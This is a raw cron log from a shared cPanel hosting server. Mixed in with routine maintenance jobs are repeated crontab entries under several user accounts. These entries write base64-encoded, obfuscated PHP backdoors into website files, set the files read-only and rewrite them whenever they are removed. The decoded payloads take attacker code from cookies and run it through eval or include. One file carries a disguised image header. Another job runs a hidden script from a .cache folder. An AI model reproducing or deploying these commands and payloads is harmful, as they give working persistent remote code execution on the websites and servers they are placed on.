Mar  1 23:49:01 medusa CROND[22615]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:49:01 medusa CROND[22619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:49:01 medusa CROND[22621]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:49:01 medusa CROND[22626]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:49:01 medusa CROND[22630]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:49:01 medusa CROND[22633]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:49:01 medusa CROND[22635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:50:01 medusa CROND[29719]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:50:01 medusa CROND[29725]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:50:01 medusa CROND[29804]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:50:01 medusa CROND[29809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:50:01 medusa CROND[30010]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 23:50:01 medusa CROND[30050]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:50:01 medusa CROND[30052]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:50:01 medusa CROND[30053]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 23:50:01 medusa CROND[30055]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:50:01 medusa CROND[30054]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:50:01 medusa CROND[30056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:50:01 medusa CROND[30057]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 23:50:01 medusa CROND[30059]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 23:50:01 medusa CROND[30060]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 23:50:01 medusa CROND[30058]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:50:01 medusa CROND[30063]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:50:01 medusa CROND[30074]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 23:50:01 medusa CROND[30079]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:50:01 medusa CROND[30078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:50:01 medusa CROND[30084]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:50:01 medusa CROND[30088]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:50:01 medusa CROND[30086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:50:01 medusa CROND[30085]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 23:50:01 medusa CROND[30100]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:50:01 medusa CROND[30101]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:50:01 medusa CROND[30102]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:50:01 medusa CROND[30104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:50:01 medusa CROND[30110]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:50:01 medusa CROND[30111]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:50:01 medusa CROND[30113]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:51:01 medusa CROND[5713]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:51:01 medusa CROND[5887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:51:02 medusa CROND[6011]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:51:02 medusa CROND[6012]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:51:02 medusa CROND[6013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:51:02 medusa CROND[6014]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:51:02 medusa CROND[6015]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:51:02 medusa CROND[6016]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:51:02 medusa CROND[6019]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:51:02 medusa CROND[6032]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:51:02 medusa CROND[6034]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:51:02 medusa CROND[6033]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
